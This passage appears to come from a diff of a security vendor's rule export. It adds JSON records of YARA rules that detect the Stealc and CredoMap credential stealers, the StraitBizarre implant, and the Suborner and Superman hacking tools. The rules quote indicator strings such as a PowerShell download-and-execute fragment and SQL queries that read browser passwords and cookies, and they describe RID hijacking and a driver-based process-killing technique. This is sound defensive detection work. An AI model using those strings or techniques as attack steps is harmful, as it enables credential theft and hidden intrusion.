fullword\n        $b2 = \"\\\\Monero\\\\wallet.keys\" ascii fullword\n        $b3 = \"IsDebuggerPresent\" ascii fullword\n        $b4 = \"The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti\" ascii fullword\n        $b5 = \"-nop -c \\\"iex(New-Object Net.WebClient).DownloadString('\"\n\n        // HLOCAL result = LocalAlloc(uFlags: LMEM_ZEROINIT, uBytes: arg3 + 1) // This may also be a HeapAlloc call.\n        // *(result + arg3) = 0\n        //\n        // for (int32_t i = 0; i u< arg3; i += 1)\n        //     *(result + i) = *(arg1 + i) ^ arg2[modu.dp.d(0:i, strlen(_Str: arg2))]\n        //\n        // return result // If it's a HeapAlloc call, there is a VPROTECT call here.\n\n        $string_dec_xor_variant1 = {\n            55                    // push ebp {__saved_ebp}\n            8bec                  // mov ebp, esp {__saved_ebp}\n            83ec??                // sub esp, 0x8\n            53                    // push ebx {__saved_ebx}\n            8b(45|4d|55)10        // mov (eax|ecx|edx), dword [ebp+0x10 {arg3}]\n            83c001                // add eax, 0x1\n            50                    // push eax {var_14}\n                                  // ====== VARIANT 1 =======\n                                  // push 0x40 {var_18}\n                                  // call dword [LocalAlloc]\n                                  // ====== VARIANT 2 =======\n                                  // push    0x0 {var_1c}\n                                  // call    dword [GetProcessHeap]\n                                  // push    eax {var_20}\n                                  // call    dword [HeapAlloc]\n            (\n                6a40\n                ff15????????\n                |\n                6a00\n                ff15??????00\n                50\n                ff15??????00\n            )\n            89(45|4d|55)??        // mov dword [ebp-0x4 {var_8}], (eax|ecx|edx)\n            8b(45|4d|55)??        // mov (eax|ecx|edx), dword [ebp-0x4 {var_8}]\n            03(45|4d|55)10        // add (eax|ecx|edx), dword [ebp+0x10 {arg3}]\n            ??????                // mov byte [ecx], 0x0\n            c745??00000000        // mov dword [ebp-0x8 {i}], 0x0\n            [2-6]                 // jmp ????\n            8b(45|4d|55)??        // mov (eax|ecx|edx), dword [ebp-0x8 {i}]\n            83c201                // add edx, 0x1\n            89(45|4d|55)??        // mov dword [ebp-0x8 {i}], (eax|ecx|edx)\n            8b(45|4d|55)??        // mov (eax|ecx|edx), dword [ebp-0x8 {i}]\n            3b(45|4d|55)10        // cmp (eax|ecx|edx), dword [ebp+0x10 {arg3}]\n            [2-6]                 // jae ????\n            8b(45|4d|55)08        // mov (eax|ecx|edx), dword [ebp+0x8 {arg1}]\n            03(45|4d|55)??        // add (eax|ecx|edx), dword [ebp-0x8 {i}]\n            0fbe(19|1a|1b)        // movsx ebx, byte [(ecx|edx|ebx)]\n            8b(45|4d|55)0c        // mov (eax|ecx|edx), dword [ebp+0xc {arg2}]\n            52                    // push edx {var_14_1}\n            ff15????????          // call dword [strlen]\n            83c404                // add esp, 0x4\n            ????                  // mov ecx, eax\n            8b(45|4d|55)??        // mov (eax|ecx|edx), dword [ebp-0x8 {i}]\n            [4]                   // xor edx, edx {0x0}\n                                  // div ecx\n            8b(45|4d|55)0c        // mov (eax|ecx|edx), dword [ebp+0xc {arg2}]\n            [6]                   // movsx ecx, byte [eax+edx]\n                                  // xor ebx, ecx\n            8b(45|4d|55)??        // mov (eax|ecx|edx), dword [ebp-0x4 {var_8}]\n            03(45|4d|55)??        // add (eax|ecx|edx), dword [ebp-0x8 {i}]\n            ????                  // mov byte [edx], bl\n            [2-6]                 // jmp ????\n                                  // VirtualProtect if VARIANT2, return if VARIANT1\n                                  // ====== RET ======\n                                  // mov     eax, dword [ebp-0x4 {var_8}]\n                                  // pop     ebx {__saved_ebx}\n                                  // mov     esp, ebp\n                                  // pop     ebp {__saved_ebp}\n                                  // retn     {__return_addr}\n                                  // ====== VPROT ======\n                                  // mov     dword [ebp-0x4 {lpflOldProtect}], 0x0\n                                  // lea     eax, [ebp-0x4 {lpflOldProtect}]\n                                  // push    eax {lpflOldProtect} {var_18_2}\n                                  // push    0x100 {var_1c}\n                                  // push    0x4\n                                  // mov     ecx, dword [ebp-0x8 {var_c}]\n                                  // push    ecx {var_24}\n                                  // call    dword [VirtualProtect]\n                                  // mov     eax, dword [ebp-0x8 {var_c}]\n                                  // pop     ebx {__saved_ebx}\n                                  // mov     esp, ebp\n                                  // pop     ebp {__saved_ebp}\n            (\n                8b(45|4d|55)??\n                5b\n                8be5\n                5d\n                c3\n                |\n                c745??00000000\n                8d(45|4d|55)??\n                50\n                6800010000\n                6a04\n                8b(45|4d|55)??\n                51\n                ff15??????00\n                8b(45|4d|55)??\n                5b\n                8be5\n                5d\n                c3\n            )\n\n        }\n\n        // Essentially the same as the above call, except there are garbage strlen calls above blocks of instructions.\n        $string_dec_xor_variant2 = {\n            55                    // push ebp {__saved_ebp}\n            8bec                  // mov ebp, esp {__saved_ebp}\n            83ec??                // sub esp, 0x8\n            53                    // push ebx {__saved_ebx}\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            8b(45|4d|55)10        // mov (eax|ecx|edx), dword [ebp+0x10 {arg3}]\n            83c001                // add eax, 0x1\n            50                    // push eax {var_14}\n                                  // ====== VARIANT 1 =======\n                                  // push 0x40 {var_18}\n                                  // call dword [LocalAlloc]\n                                  // ====== VARIANT 2 =======\n                                  // push    0x0 {var_1c}\n                                  // call    dword [GetProcessHeap]\n                                  // push    eax {var_20}\n                                  // call    dword [HeapAlloc]\n            (\n                6a40\n                ff15????????\n                |\n                6a00\n                ff15??????00\n                50\n                ff15??????00\n            )\n            89(45|4d|55)??        // mov dword [ebp-0x4 {var_8}], (eax|ecx|edx)\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            8b(45|4d|55)??        // mov (eax|ecx|edx), dword [ebp-0x4 {var_8}]\n            03(45|4d|55)10        // add (eax|ecx|edx), dword [ebp+0x10 {arg3}]\n            ????00                // mov byte [ecx], 0x0\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            c745??00000000        // mov dword [ebp-0x8 {i}], 0x0\n            [2-6]                 // jmp ????\n            8b(45|4d|55)??        // mov (eax|ecx|edx), dword [ebp-0x8 {i}]\n            83??01                // add edx, 0x1\n            89(45|4d|55)??        // mov dword [ebp-0x8 {i}], (eax|ecx|edx)\n            8b(45|4d|55)??        // mov (eax|ecx|edx), dword [ebp-0x8 {i}]\n            3b(45|4d|55)10        // cmp (eax|ecx|edx), dword [ebp+0x10 {arg3}]\n            [2-6]                 // jae ????\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            8b(45|4d|55)08        // mov (eax|ecx|edx), dword [ebp+0x8 {arg1}]\n            03(45|4d|55)??        // add (eax|ecx|edx), dword [ebp-0x8 {i}]\n            0fbe(19|1a|1b)        // movsx ebx, byte [(ecx|edx|ebx)]\n            8b(45|4d|55)0c        // mov (eax|ecx|edx), dword [ebp+0xc {arg2}]\n            52                    // push edx {var_14_1}\n            ff15????????          // call dword [strlen]\n            83c404                // add esp, 0x4\n            ????                  // mov ecx, eax\n            8b(45|4d|55)??        // mov (eax|ecx|edx), dword [ebp-0x8 {i}]\n            [4]                   // xor edx, edx {0x0}\n                                  // div ecx\n            8b(45|4d|55)0c        // mov (eax|ecx|edx), dword [ebp+0xc {arg2}]\n            [6]                   // movsx ecx, byte [eax+edx]\n                                  // xor ebx, ecx\n            8b(45|4d|55)??        // mov (eax|ecx|edx), dword [ebp-0x4 {var_8}]\n            03(45|4d|55)??        // add (eax|ecx|edx), dword [ebp-0x8 {i}]\n            ????                  // mov byte [edx], bl\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            [2-6]                 // jmp ????\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n            68[4]                 // push    data_??????  {\"The Opus Theatre was founded by …\"}\n            ff15??????00          // call    dword [lstrlenA]\n                                  // VirtualProtect if VARIANT2, return if VARIANT1\n                                  // ====== RET ======\n                                  // mov     eax, dword [ebp-0x4 {var_8}]\n                                  // pop     ebx {__saved_ebx}\n                                  // mov     esp, ebp\n                                  // pop     ebp {__saved_ebp}\n                                  // retn     {__return_addr}\n                                  // ====== VPROT ======\n                                  // mov     dword [ebp-0x4 {lpflOldProtect}], 0x0\n                                  // lea     eax, [ebp-0x4 {lpflOldProtect}]\n                                  // push    eax {lpflOldProtect} {var_18_2}\n                                  // push    0x100 {var_1c}\n                                  // push    0x4\n                                  // mov     ecx, dword [ebp-0x8 {var_c}]\n                                  // push    ecx {var_24}\n                                  // call    dword [VirtualProtect]\n                                  // mov     eax, dword [ebp-0x8 {var_c}]\n                                  // pop     ebx {__saved_ebx}\n                                  // mov     esp, ebp\n                                  // pop     ebp {__saved_ebp}\n            (\n                8b(45|4d|55)??\n                5b\n                8be5\n                5d\n                c3\n                |\n                c745??00000000\n                8d(45|4d|55)??\n                50\n                6800010000\n                6a04\n                8b(45|4d|55)??\n                51\n                ff15??????00\n                8b(45|4d|55)??\n                5b\n                8be5\n                5d\n                c3\n            )\n        }\n\n    condition:\n        $a or 3 of ($b*) or 1 of ($string_dec_xor_variant*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "stealc_stealer_b5a4c2aea9fe"
+  ],
+  "rule_creation_date": "2024-10-28",
+  "rule_modified_date": "2025-12-09",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.Stealc"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-stealer_apt28_credomap_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569275Z",
+  "creation_date": "2026-03-23T11:46:25.569277Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569283Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityscorecard.com/research/apt28s-stealer-called-credomap"
+  ],
+  "name": "stealer_apt28_credomap.yar",
+  "content": "rule stealer_apt28_credomap {\n    meta:\n        title = \"APT28 Stealer CredoMap\"\n        id = \"d24ecbc8-12b7-4865-a3fc-90ae7e324e02\"\n        description = \"Detects the CredoMap stealer.\\nCredoMap is a credential stealer developed by the Russian APT28/Sofacy/Fancy Bear threat group. It is primarily used to target individuals and organizations, particularly in Ukraine, as part of ongoing geopolitical cyber activities.\\nThe stealer is designed to collect sensitive information such as cookies, usernames, and passwords stored in browsers.\"\n        references = \"https://securityscorecard.com/research/apt28s-stealer-called-credomap\"\n        date = \"2022-10-09\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.collection;attack.t1119;attack.t1185;attack.exfiltration;attack.t1020\"\n        classification = \"Windows.Stealer.CredoMap\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 2318ae5d7c23bf186b88abecf892e23ce199381b22c8eb216ad1616ee8877933\n\n        $s1 = \"\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Network\\\\Cookies\" fullword wide\n        $s2 = \"Chrome not found\" fullword wide\n        $s3 = \"SELECT host_key, name, encrypted_value FROM cookies\" fullword wide\n        $s4 = \"key4.db\" fullword wide\n        $s5 = \"\\\\cookies.sqlite\" fullword wide\n        $s6 = \"SELECT * FROM moz_cookies\" fullword wide\n        $s7 = \"SELECT action_url, username_value, password_value FROM logins\" fullword wide\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 9MB and 5 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "stealer_apt28_credomap"
+  ],
+  "rule_creation_date": "2022-10-09",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.CredoMap"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1119",
+    "attack.t1185",
+    "attack.t1020"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-straitbizarre_implant_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575066Z",
+  "creation_date": "2026-03-23T11:46:25.575068Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575073Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/@botherder/everything-we-know-of-nsa-and-five-eyes-malware-e8eac172d3b5"
+  ],
+  "name": "straitbizarre_implant.yar",
+  "content": "rule straitbizarre_implant {\n    meta:\n        title = \"StraitBizarre Implant\"\n        id = \"c6a7b703-8001-4d6e-94dc-f25568ebd12d\"\n        description = \"Detects the StraitBizarre (aka SBZ) malware implant, a sophisticated backdoor tool developed by the APT Equation Group. StraitBizarre is primarily used for cyber espionage and has been observed targeting Windows-based systems. The malware establishes persistence and communicates with its command and control servers using a variety of methods, including DNS, HTTP, and other custom protocols. It is known for its modular architecture, which allows it to adapt to different environments and maintain long-term presence on infected systems.\"\n        references = \"https://medium.com/@botherder/everything-we-know-of-nsa-and-five-eyes-malware-e8eac172d3b5\"\n        date = \"2024-07-01\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.exfiltration;attack.t1041\"\n        classification = \"Windows.Backdoor.StraitBizarre\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // f0285338e59322079bafe5780e1a26ef0d5d62cc0138b0725bd7a37084d03204\n\n        $x1 = {\n            8B C7                         // mov     eax, edi\n            C1 E8 0E                      // shr     eax, 0Eh\n            24 0F                         // and     al, 0Fh\n            0C 90                         // or      al, 90h\n            30 03                         // xor     [rbx], al\n            48 FF C3                      // inc     rbx\n            48 83 E9 01                   // sub     rcx, 1\n            75 ??                         // jnz     short loc_7FFF2A3EF528\n        }\n\n        $x2 = {\n            33 D2                         // xor     edx, edx\n            41 8B C1                      // mov     eax, r9d\n            41 F7 34 18                   // div     dword ptr [r8+rbx]\n            8B CA                         // mov     ecx, edx\n            49 03 C8                      // add     rcx, r8\n            8A 4C 19 04                   // mov     cl, [rcx+rbx+4]\n            41 32 0B                      // xor     cl, [r11]\n            41 32 C9                      // xor     cl, r9b\n            41 FF C1                      // inc     r9d\n            41 88 0B                      // mov     [r11], cl\n            49 FF C3                      // inc     r11\n            45 3B CA                      // cmp     r9d, r10d\n            72 ??                         // jb      short loc_7FFF2A3E9A04\n        }\n\n        // DEOBFUSCATE1\n        $x3 = {\n            8A 13                         // mov     dl, [rbx]\n            41 8B C3                      // mov     eax, r11d\n            41 FF C3                      // inc     r11d\n            83 E0 0F                      // and     eax, 0Fh\n            8A 0C 04                      // mov     cl, [rsp+rax+18h+var_18]\n            02 CA                         // add     cl, dl\n            44 02 C1                      // add     r8b, cl\n            41 0F B6 C8                   // movzx   ecx, r8b\n            42 8A 44 09 02                // mov     al, [rcx+r9+2]\n            88 03                         // mov     [rbx], al\n            48 FF C3                      // inc     rbx\n            42 88 54 09 02                // mov     [rcx+r9+2], dl\n            44 3B DF                      // cmp     r11d, edi\n            72 ??                         // jb      short loc_7FFF2A3F0FC4\n        }\n\n        // DEOBFUSCATE2\n        $x4 = {\n            41 FE C1                      // inc     r9b\n            41 0F B6 D1                   // movzx   edx, r9b\n            46 8A 44 12 02                // mov     r8b, [rdx+r10+2]\n            41 02 D8                      // add     bl, r8b\n            0F B6 C3                      // movzx   eax, bl\n            42 8A 4C 10 02                // mov     cl, [rax+r10+2]\n            46 88 44 10 02                // mov     [rax+r10+2], r8b\n            42 88 4C 12 02                // mov     [rdx+r10+2], cl\n            41 02 C8                      // add     cl, r8b\n            0F B6 C1                      // movzx   eax, cl\n            42 8A 4C 10 02                // mov     cl, [rax+r10+2]\n            32 0E                         // xor     cl, [rsi]\n            48 FF C6                      // inc     rsi\n            88 0F                         // mov     [rdi], cl\n            48 FF C7                      // inc     rdi\n            41 83 C3 FF                   // add     r11d, 0FFFFFFFFh\n            75 ??                         // jnz     short loc_7FFF2A3F0F11\n        }\n\n    condition:\n        1 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "straitbizarre_implant"
+  ],
+  "rule_creation_date": "2024-07-01",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Backdoor.StraitBizarre"
+  ],
+  "rule_tactic_tags": [
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1041"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-suborner_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571380Z",
+  "creation_date": "2026-03-23T11:46:25.571382Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571388Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/r4wd3r/Suborner"
+  ],
+  "name": "suborner.yar",
+  "content": "rule suborner {\n    meta:\n        title = \"Suborner Tool\"\n        id = \"b40c4f4b-5255-4888-b226-ddf85c6cd492\"\n        description = \"Detects Suborner, a tool designed to create invisible accounts on a Windows host, bypassing noisy APIs such as netapi32 or the net user command.\\nSuborner enables attackers to create accounts without triggering common detection mechanisms, allowing for stealthy persistence. It achieves this by leveraging NTLM hash duplication and RID hijacking to impersonate existing users. The tool is particularly useful for adversaries aiming to maintain persistence without being detected by standard logging and monitoring solutions.\\nIt is recommended to review newly created accounts and verify that all user accounts are authorized.\"\n        references = \"https://github.com/r4wd3r/Suborner\"\n        date = \"2022-11-14\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1134.001;attack.t1078.003\"\n        classification = \"Windows.Tool.Suborner\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 476da34ddbb3bb27b60898e26fdc41b8dd01216b800f879e25fdd9d2c182af29\n\n        $s1 = \"ridhijack\" fullword wide\n        $s2 = \"NT Key about to MD5: {0}\" fullword wide\n        $s3 = \"Value written to V.NTLMHash:\" fullword wide\n        $s4 = \"The Invisible Account Forger\" fullword wide\n        $s5 = \"Error calculating the SAM Key\" fullword wide\n        $s6 = \"Error: You need SYSTEM privileges to suborn Windows :(\" fullword wide\n\n    condition:\n        4 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "suborner"
+  ],
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.Suborner"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1134.001",
+    "attack.t1078.003"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-superman_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567947Z",
+  "creation_date": "2026-03-23T11:46:25.567949Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567954Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/b1-team/superman/\nhttps://www.loldrivers.io/drivers/7ce8fb06-46eb-4f4f-90d5-5518a6561f15/\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "superman.yar",
+  "content": "rule superman {\n    meta:\n        title = \"Superman HackTool\"\n        id = \"43437884-fa45-43fc-8920-5a6d827fbdb7\"\n        description = \"Detects Superman, a HackTool designed to terminate protected processes using a vulnerable driver.\\nSuperman operates by loading the gmer64.sys driver, which it uses to establish communication with a device named \\\\\\\\.\\\\superman. The tool sends specific IOCTL codes (0x4768C004 and 0x4768C094) to the device to achieve its functionality.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/b1-team/superman/\\nhttps://www.loldrivers.io/drivers/7ce8fb06-46eb-4f4f-90d5-5518a6561f15/\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2024-02-21\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1211\"\n        os = \"Windows\"\n        classification = \"Windows.HackTool.superman\"\n        context = \"process,memory,thread,file.pe\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 32051f61c8d6d1d9bb19fd225ff3a3a2f6c06673f92398cf7178f235ecf3abf2\n\n        $device = \"\\\\\\\\.\\\\superman\" wide ascii\n        $winapi_01 = \"CreateFile\" wide ascii\n        $winapi_02 = \"DeviceIoControl\" wide ascii\n        $winapi_03 = \"ControlService\" wide ascii\n        $winapi_04 = \"CreateService\" wide ascii\n        $winapi_05 = \"OpenSCManager\" wide ascii\n        $winapi_06 = \"OpenService\" wide ascii\n        $winapi_07 = \"StartService\" wide ascii\n        $IOCTL_init = { (98 76 C0 04|04 C0 76 98) }\n        $IOCTL_kill = { (98 76 C0 94|94 C0 76 98) }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "superman"
+  ],
+  "rule_creation_date": "2024-02-21",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.superman"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1211"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-supply_chain_npm_package_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573292Z",
+  "creation_date": "2026-03-23T11:46:25.573295Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
